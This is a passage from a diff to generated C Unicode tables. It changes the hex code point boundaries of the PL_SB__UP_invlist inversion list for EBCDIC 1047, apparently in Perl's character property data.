0xA81, + 0xA84, + 0xA85, + 0xA8E, + 0xA8F, + 0xA92, + 0xA93, + 0xAA9, + 0xAAA, + 0xAB1, + 0xAB2, + 0xAB4, + 0xAB5, + 0xABA, + 0xABC, + 0xAC6, + 0xAC7, + 0xACA, + 0xACB, + 0xACE, + 0xAD0, + 0xAD1, + 0xAE0, + 0xAE4, + 0xAE6, + 0xAF2, + 0xAF9, + 0xAFA, + 0xB01, + 0xB04, + 0xB05, + 0xB0D, + 0xB0F, + 0xB11, + 0xB13, + 0xB29, + 0xB2A, + 0xB31, + 0xB32, + 0xB34, + 0xB35, + 0xB3A, + 0xB3C, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4E, + 0xB56, + 0xB58, + 0xB5C, + 0xB5E, + 0xB5F, + 0xB64, + 0xB66, + 0xB78, + 0xB82, + 0xB84, + 0xB85, + 0xB8B, + 0xB8E, + 0xB91, + 0xB92, + 0xB96, + 0xB99, + 0xB9B, + 0xB9C, + 0xB9D, + 0xB9E, + 0xBA0, + 0xBA3, + 0xBA5, + 0xBA8, + 0xBAB, + 0xBAE, + 0xBBA, + 0xBBE, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCE, + 0xBD0, + 0xBD1, + 0xBD7, + 0xBD8, + 0xBE6, + 0xBFB, + 0xC00, + 0xC04, + 0xC05, + 0xC0D, + 0xC0E, + 0xC11, + 0xC12, + 0xC29, + 0xC2A, + 0xC3A, + 0xC3D, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4E, + 0xC55, + 0xC57, + 0xC58, + 0xC5B, + 0xC60, + 0xC64, + 0xC66, + 0xC70, + 0xC78, + 0xC84, + 0xC85, + 0xC8D, + 0xC8E, + 0xC91, + 0xC92, + 0xCA9, + 0xCAA, + 0xCB4, + 0xCB5, + 0xCBA, + 0xCBC, + 0xCC5, + 0xCC6, + 0xCC9, + 0xCCA, + 0xCCE, + 0xCD5, + 0xCD7, + 0xCDE, + 0xCDF, + 0xCE0, + 0xCE4, + 0xCE6, + 0xCF0, + 0xCF1, + 0xCF3, + 0xD01, + 0xD04, + 0xD05, + 0xD0D, + 0xD0E, + 0xD11, + 0xD12, + 0xD3B, + 0xD3D, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD50, + 0xD54, + 0xD64, + 0xD66, + 0xD80, + 0xD82, + 0xD84, + 0xD85, + 0xD97, + 0xD9A, + 0xDB2, + 0xDB3, + 0xDBC, + 0xDBD, + 0xDBE, + 0xDC0, + 0xDC7, + 0xDCA, + 0xDCB, + 0xDCF, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDE0, + 0xDE6, + 0xDF0, + 0xDF2, + 0xDF5, + 0xE01, + 0xE3B, + 0xE3F, + 0xE5C, + 0xE81, + 0xE83, + 0xE84, + 0xE85, + 0xE87, + 0xE89, + 0xE8A, + 0xE8B, + 0xE8D, + 0xE8E, + 0xE94, + 0xE98, + 0xE99, + 0xEA0, + 0xEA1, + 0xEA4, + 0xEA5, + 0xEA6, + 0xEA7, + 0xEA8, + 0xEAA, + 0xEAC, + 0xEAD, + 0xEBA, + 0xEBB, + 0xEBE, + 0xEC0, + 0xEC5, + 0xEC6, + 0xEC7, + 0xEC8, + 0xECE, + 0xED0, + 0xEDA, + 0xEDC, + 0xEE0, + 0xF00, + 0xF48, + 0xF49, + 0xF6D, + 0xF71, + 0xF98, + 0xF99, + 0xFBD, + 0xFBE, + 0xFCD, + 0xFCE, + 0xFDB, + 0x1000, 0x10C6, 0x10C7, 0x10C8, 0x10CD, 0x10CE, + 0x10D0, + 0x1249, + 0x124A, + 0x124E, + 0x1250, + 0x1257, + 0x1258, + 0x1259, + 0x125A, + 0x125E, + 0x1260, + 0x1289, + 0x128A, + 0x128E, + 0x1290, + 0x12B1, + 0x12B2, + 0x12B6, + 0x12B8, + 0x12BF, + 0x12C0, + 0x12C1, + 0x12C2, + 0x12C6, + 0x12C8, + 0x12D7, + 0x12D8, + 0x1311, + 0x1312, + 0x1316, + 0x1318, + 0x135B, + 0x135D, + 0x137D, + 0x1380, + 0x139A, 0x13A0, 0x13F6, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, + 0x13F8, + 0x13FE, + 0x1400, + 0x169D, + 0x16A0, + 0x16F9, + 0x1700, + 0x170D, + 0x170E, + 0x1715, + 0x1720, + 0x1737, + 0x1740, + 0x1754, + 0x1760, + 0x176D, + 0x176E, + 0x1771, + 0x1772, + 0x1774, + 0x1780, + 0x17DE, + 0x17E0, + 0x17EA, + 0x17F0, + 0x17FA, + 0x1800, + 0x180F, + 0x1810, + 0x181A, + 0x1820, + 0x1878, + 0x1880, + 0x18AB, + 0x18B0, + 0x18F6, + 0x1900, + 0x191F, + 0x1920, + 0x192C, + 0x1930, + 0x193C, + 0x1940, + 0x1941, + 0x1944, + 0x196E, + 0x1970, + 0x1975, + 0x1980, + 0x19AC, + 0x19B0, + 0x19CA, + 0x19D0, + 0x19DB, + 0x19DE, + 0x1A1C, + 0x1A1E, + 0x1A5F, + 0x1A60, + 0x1A7D, + 0x1A7F, + 0x1A8A, + 0x1A90, + 0x1A9A, + 0x1AA0, + 0x1AAE, + 0x1AB0, + 0x1ABF, + 0x1B00, + 0x1B4C, + 0x1B50, + 0x1B7D, + 0x1B80, + 0x1BF4, + 0x1BFC, + 0x1C38, + 0x1C3B, + 0x1C4A, + 0x1C4D, + 0x1C89, + 0x1CC0, + 0x1CC8, + 0x1CD0, + 0x1CF7, + 0x1CF8, + 0x1CFA, + 0x1D00, + 0x1DF6, + 0x1DFB, + 0x1F16, 0x1F18, 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, + 0x1F20, + 0x1F46, 0x1F48, 0x1F4E, + 0x1F50, + 0x1F58, 0x1F59, 0x1F5A, 0x1F5B, @@ -337336,396 +32047,574 @@ static const UV PL_SB__UP_invlist[] = { /* for EBCDIC 1047 */ 0x1F5D, 0x1F5E, 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB8, - 0x1FBD, - 0x1FC8, - 0x1FCD, - 0x1FD8, + 0x1F7E, + 0x1F80, + 0x1FB5, + 0x1FB6, + 0x1FC5, + 0x1FC6, + 0x1FD4, + 0x1FD6, 0x1FDC, - 0x1FE8, - 0x1FED, - 0x1FF8, - 0x1FFD, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210B, - 0x210E, - 0x2110, - 0x2113, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x2130, - 0x2134, - 0x213E, - 0x2140, - 0x2145, - 0x2146, - 0x2160, - 0x2170, - 0x2183, - 0x2184, - 0x24B6, - 0x24D0, + 0x1FDD, + 0x1FF0, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FFF, + 0x2000, + 0x2065, + 0x2066, + 0x2072, + 0x2074, + 0x208F, + 0x2090, + 0x209D, + 0x20A0, + 0x20BF, + 0x20D0, + 0x20F1, + 0x2100, + 0x218C, + 0x2190, + 0x23FF, + 0x2400, + 0x2427, + 0x2440, + 0x244B, + 0x2460, + 0x2B74, + 0x2B76, + 0x2B96, + 0x2B98, + 0x2BBA, + 0x2BBD, + 0x2BC9, + 0x2BCA, + 0x2BD2, + 0x2BEC, + 0x2BF0, 0x2C00, 0x2C2F, + 0x2C30, + 0x2C5F, 0x2C60, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, + 0x2CF4, + 0x2CF9, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, + 0x2D30, + 0x2D68, + 0x2D6F, + 0x2D71, + 0x2D7F, + 0x2D97, + 0x2DA0, + 0x2DA7, + 0x2DA8, + 0x2DAF, + 0x2DB0, + 0x2DB7, + 0x2DB8, + 0x2DBF, + 0x2DC0, + 0x2DC7, + 0x2DC8, + 0x2DCF, + 0x2DD0, + 0x2DD7, + 0x2DD8, + 0x2DDF, + 0x2DE0, + 0x2E45, + 0x2E80, + 0x2E9A, + 0x2E9B, + 0x2EF4, + 0x2F00, + 0x2FD6, + 0x2FF0, + 0x2FFC, + 0x3000, + 0x3040, + 0x3041, + 0x3097, + 0x3099, + 0x3100, + 0x3105, + 0x312E, + 0x3131, + 0x318F, + 0x3190, + 0x31BB, + 0x31C0, + 0x31E4, + 0x31F0, + 0x321F, + 0x3220, + 0x32FF, + 0x3300, + 0x4DB6, + 0x4DC0, + 0x9FD6, + 0xA000, + 0xA48D, + 0xA490, + 0xA4C7, + 0xA4D0, + 0xA62C, 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, + 0xA6F8, + 0xA700, 0xA7AF, 0xA7B0, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xFF21, - 0xFF3B, + 0xA7B8, + 0xA7F7, + 0xA82C, + 0xA830, + 0xA83A, + 0xA840, + 0xA878, + 0xA880, + 0xA8C6, + 0xA8CE, + 0xA8DA, + 0xA8E0, + 0xA8FE, + 0xA900, + 0xA954, + 0xA95F, + 0xA97D, + 0xA980, + 0xA9CE, + 0xA9CF, + 0xA9DA, + 0xA9DE, + 0xA9FF, + 0xAA00, + 0xAA37, + 0xAA40, + 0xAA4E, + 0xAA50, + 0xAA5A, + 0xAA5C, + 0xAAC3, + 0xAADB, + 0xAAF7, + 0xAB01, + 0xAB07, + 0xAB09, + 0xAB0F, + 0xAB11, + 0xAB17, + 0xAB20, + 0xAB27, + 0xAB28, + 0xAB2F, + 0xAB30, + 0xAB66, + 0xAB70, + 0xABEE, + 0xABF0, + 0xABFA, + 0xAC00, + 0xD7A4, + 0xD7B0, + 0xD7C7, + 0xD7CB, + 0xD7FC, + 0xD800, + 0xFA6E, + 0xFA70, + 0xFADA, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18, + 0xFB1D, + 0xFB37, + 0xFB38, + 0xFB3D, + 0xFB3E, + 0xFB3F, + 0xFB40, + 0xFB42, + 0xFB43, + 0xFB45, + 0xFB46, + 0xFBC2, + 0xFBD3, + 0xFD40, + 0xFD50, + 0xFD90, + 0xFD92, + 0xFDC8, + 0xFDF0, + 0xFDFE, + 0xFE00, + 0xFE1A, + 0xFE20, + 0xFE53, + 0xFE54, + 0xFE67, + 0xFE68, + 0xFE6C, + 0xFE70, + 0xFE75, + 0xFE76, + 0xFEFD, + 0xFEFF, + 0xFF00, + 0xFF01, + 0xFFBF, + 0xFFC2, + 0xFFC8, + 0xFFCA, + 0xFFD0, + 0xFFD2, + 0xFFD8, + 0xFFDA, + 0xFFDD, + 0xFFE0, + 0xFFE7, + 0xFFE8, + 0xFFEF, + 0xFFF9, + 0xFFFE, + 0x10000, + 0x1000C, + 0x1000D, + 0x10027, + 0x10028, + 0x1003B, + 0x1003C, + 0x1003E, + 0x1003F, + 0x1004E, + 0x10050, + 0x1005E, + 0x10080, + 0x100FB, + 0x10100, + 0x10103, + 0x10107, + 0x10134, + 0x10137, + 0x1018F, + 0x10190, + 0x1019C, + 0x101A0, + 0x101A1, + 0x101D0, + 0x101FE, + 0x10280, + 0x1029D, + 0x102A0, + 0x102D1, + 0x102E0, + 0x102FC, + 0x10300, + 0x10324, + 0x10330, + 0x1034B, + 0x10350, + 0x1037B, + 0x10380, + 0x1039E, + 0x1039F, + 0x103C4, + 0x103C8, + 0x103D6, 0x10400, - 0x10428, + 0x1049E, + 0x104A0, + 0x104AA, 0x104B0, 0x104D4, + 0x104D8, + 0x104FC, + 0x10500, + 0x10528, + 0x10530, + 0x10564, + 0x1056F, + 0x10570, + 0x10600, + 0x10737, + 0x10740, + 0x10756, + 0x10760, + 0x10768, + 0x10800, + 0x10806, + 0x10808, + 0x10809, + 0x1080A, + 0x10836, + 0x10837, + 0x10839, + 0x1083C, + 0x1083D, + 0x1083F, + 0x10856, + 0x10857, + 0x1089F, + 0x108A7, + 0x108B0, + 0x108E0, + 0x108F3, + 0x108F4, + 0x108F6, + 0x108FB, + 0x1091C, + 0x1091F, + 0x1093A, + 0x1093F, + 0x10940, + 0x10980, + 0x109B8, + 0x109BC, + 0x109D0, + 0x109D2, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, + 0x10A14, + 0x10A15, + 0x10A18, + 0x10A19, + 0x10A34, + 0x10A38, + 0x10A3B, + 0x10A3F, + 0x10A48, + 0x10A50, + 0x10A59, + 0x10A60, + 0x10AA0, + 0x10AC0, + 0x10AE7, + 0x10AEB, + 0x10AF7, + 0x10B00, + 0x10B36, + 0x10B39, + 0x10B56, + 0x10B58, + 0x10B73, + 0x10B78, + 0x10B92, + 0x10B99, + 0x10B9D, + 0x10BA9, + 0x10BB0, + 0x10C00, + 0x10C49, 0x10C80, 0x10CB3, + 0x10CC0, + 0x10CF3, + 0x10CFA, + 0x10D00, + 0x10E60, + 0x10E7F, + 0x11000, + 0x1104E, + 0x11052, + 0x11070, + 0x1107F, + 0x110C2, + 0x110D0, + 0x110E9, + 0x110F0, + 0x110FA, + 0x11100, + 0x11135, + 0x11136, + 0x11144, + 0x11150, + 0x11177, + 0x11180, + 0x111CE, + 0x111D0, + 0x111E0, + 0x111E1, + 0x111F5, + 0x11200, + 0x11212, + 0x11213, + 0x1123F, + 0x11280, + 0x11287, + 0x11288, + 0x11289, + 0x1128A, + 0x1128E, + 0x1128F, + 0x1129E, + 0x1129F, + 0x112AA, + 0x112B0, + 0x112EB, + 0x112F0, + 0x112FA, + 0x11300, + 0x11304, + 0x11305, + 0x1130D, + 0x1130F, + 0x11311, + 0x11313, + 0x11329, + 0x1132A, + 0x11331, + 0x11332, + 0x11334, + 0x11335, + 0x1133A, + 0x1133C, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134E, + 0x11350, + 0x11351, + 0x11357, + 0x11358, + 0x1135D, + 0x11364, + 0x11366, + 0x1136D, + 0x11370, + 0x11375, + 0x11400, + 0x1145A, + 0x1145B, + 0x1145C, + 0x1145D, + 0x1145E, + 0x11480, + 0x114C8, + 0x114D0, + 0x114DA, + 0x11580, + 0x115B6, + 0x115B8, + 0x115DE, + 0x11600, + 0x11645, + 0x11650, + 0x1165A, + 0x11660, + 0x1166D, + 0x11680, + 0x116B8, + 0x116C0, + 0x116CA, + 0x11700, + 0x1171A, + 0x1171D, + 0x1172C, + 0x11730, + 0x11740, 0x118A0, - 0x118C0, + 0x118F3, + 0x118FF, + 0x11900, + 0x11AC0, + 0x11AF9, + 0x11C00, + 0x11C09, + 0x11C0A, + 0x11C37, + 0x11C38, + 0x11C46, + 0x11C50, + 0x11C6D, + 0x11C70, + 0x11C90, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CB7, + 0x12000, + 0x1239A, + 0x12400, + 0x1246F, + 0x12470, + 0x12475, + 0x12480, + 0x12544, + 0x13000, + 0x1342F, + 0x14400, + 0x14647, + 0x16800, + 0x16A39, + 0x16A40, + 0x16A5F, + 0x16A60, + 0x16A6A, + 0x16A6E, + 0x16A70, + 0x16AD0, + 0x16AEE, + 0x16AF0, + 0x16AF6, + 0x16B00, + 0x16B46, + 0x16B50, + 0x16B5A, + 0x16B5B, + 0x16B62, + 0x16B63, + 0x16B78, + 0x16B7D, + 0x16B90, + 0x16F00, + 0x16F45, + 0x16F50, + 0x16F7F, + 0x16F8F, + 0x16FA0, + 0x16FE0, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, + 0x1B000, + 0x1B002, + 0x1BC00, + 0x1BC6B, + 0x1BC70, + 0x1BC7D, + 0x1BC80, + 0x1BC89, + 0x1BC90, + 0x1BC9A, + 0x1BC9C, + 0x1BCA4, + 0x1D000, + 0x1D0F6, + 0x1D100, + 0x1D127, + 0x1D129, + 0x1D1E9, + 0x1D200, + 0x1D246, + 0x1D300, + 0x1D357, + 0x1D360, + 0x1D372, 0x1D400, - 0x1D41A, - 0x1D434, - 0x1D44E, - 0x1D468, - 0x1D482, - 0x1D49C, + 0x1D455, + 0x1D456, 0x1D49D, 0x1D49E, 0x1D4A0, @@ -337736,10 +32625,12 @@ static const UV PL_SB__UP_invlist[] = { /* for EBCDIC 1047 */ 0x1D4A9, 0x1D4AD, 0x1D4AE, - 0x1D4B6, - 0x1D4D0, - 0x1D4EA, - 0x1D504, + 0x1D4BA, + 0x1D4BB, + 0x1D4BC, + 0x1D4BD, + 0x1D4C4, + 0x1D4C5, 0x1D506, 0x1D507, 0x1D50B, @@ -337747,7 +32638,7 @@ static const UV PL_SB__UP_invlist[] = { /* for EBCDIC 1047 */ 0x1D515, 0x1D516, 0x1D51D, - 0x1D538, + 0x1D51E, 0x1D53A, 0x1D53B, 0x1D53F, @@ -337756,878 +32647,301 @@ static const UV PL_SB__UP_invlist[] = { /* for EBCDIC 1047 */ 0x1D546, 0x1D547, 0x1D54A, - 0x1D551, - 0x1D56C, - 0x1D586, - 0x1D5A0, - 0x1D5BA, - 0x1D5D4, - 0x1D5EE, - 0x1D608, - 0x1D622, - 0x1D63C, - 0x1D656, - 0x1D670, - 0x1D68A, + 0x1D551, + 0x1D552, + 0x1D6A6, 0x1D6A8, - 0x1D6C1, - 0x1D6E2, - 0x1D6FB, - 0x1D71C, - 0x1D735, - 0x1D756, - 0x1D76F, - 0x1D790, - 0x1D7A9, - 0x1D7CA, - 0x1D7CB, + 0x1D7CC, + 0x1D7CE, + 0x1DA8C, + 0x1DA9B, + 0x1DAA0, + 0x1DAA1, + 0x1DAB0, + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, + 0x1E800, + 0x1E8C5, + 0x1E8C7, + 0x1E8D7, 0x1E900, - 0x1E922, + 0x1E94B, + 0x1E950, + 0x1E95A, + 0x1E95E, + 0x1E960, + 0x1EE00, + 0x1EE04, + 0x1EE05, + 0x1EE20, + 0x1EE21, + 0x1EE23, + 0x1EE24, + 0x1EE25, + 0x1EE27, + 0x1EE28, + 0x1EE29, + 0x1EE33, + 0x1EE34, + 0x1EE38, + 0x1EE39, + 0x1EE3A, + 0x1EE3B, + 0x1EE3C, + 0x1EE42, + 0x1EE43, + 0x1EE47, + 0x1EE48, + 0x1EE49, + 0x1EE4A, + 0x1EE4B, + 0x1EE4C, + 0x1EE4D, + 0x1EE50, + 0x1EE51, + 0x1EE53, + 0x1EE54, + 0x1EE55, + 0x1EE57, + 0x1EE58, + 0x1EE59, + 0x1EE5A, + 0x1EE5B, + 0x1EE5C, + 0x1EE5D, + 0x1EE5E, + 0x1EE5F, + 0x1EE60, + 0x1EE61, + 0x1EE63, + 0x1EE64, + 0x1EE65, + 0x1EE67, + 0x1EE6B, + 0x1EE6C, + 0x1EE73, + 0x1EE74, + 0x1EE78, + 0x1EE79, + 0x1EE7D, + 0x1EE7E, + 0x1EE7F, + 0x1EE80, + 0x1EE8A, + 0x1EE8B, + 0x1EE9C, + 0x1EEA1, + 0x1EEA4, + 0x1EEA5, + 0x1EEAA, + 0x1EEAB, + 0x1EEBC, + 0x1EEF0, + 0x1EEF2, + 0x1F000, + 0x1F02C, + 0x1F030, + 0x1F094, + 0x1F0A0, + 0x1F0AF, + 0x1F0B1, + 0x1F0C0, + 0x1F0C1, + 0x1F0D0, + 0x1F0D1, + 0x1F0F6, + 0x1F100, + 0x1F10D, + 0x1F110, + 0x1F12F, 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, + 0x1F16C, 0x1F170, - 0x1F18A + 0x1F1AD, + 0x1F1E6, + 0x1F203, + 0x1F210, + 0x1F23C, + 0x1F240, + 0x1F249, + 0x1F250, + 0x1F252, + 0x1F300, + 0x1F6D3, + 0x1F6E0, + 0x1F6ED, + 0x1F6F0, + 0x1F6F7, + 0x1F700, + 0x1F774, + 0x1F780, + 0x1F7D5, + 0x1F800, + 0x1F80C, + 0x1F810, + 0x1F848, + 0x1F850, + 0x1F85A, + 0x1F860, + 0x1F888, + 0x1F890, + 0x1F8AE, + 0x1F910, + 0x1F91F, + 0x1F920, + 0x1F928, + 0x1F930, + 0x1F931, + 0x1F933, + 0x1F93F, + 0x1F940, + 0x1F94C, + 0x1F950, + 0x1F95F, + 0x1F980, + 0x1F992, + 0x1F9C0, + 0x1F9C1, + 0x20000, + 0x2A6D7, + 0x2A700, + 0x2B735, + 0x2B740, + 0x2B81E, + 0x2B820, + 0x2CEA2, + 0x2F800, + 0x2FA1E, + 0xE0001, + 0xE0002, + 0xE0020, + 0xE0080, + 0xE0100, + 0xE01F0, + 0xF0000, + 0xFFFFE, + 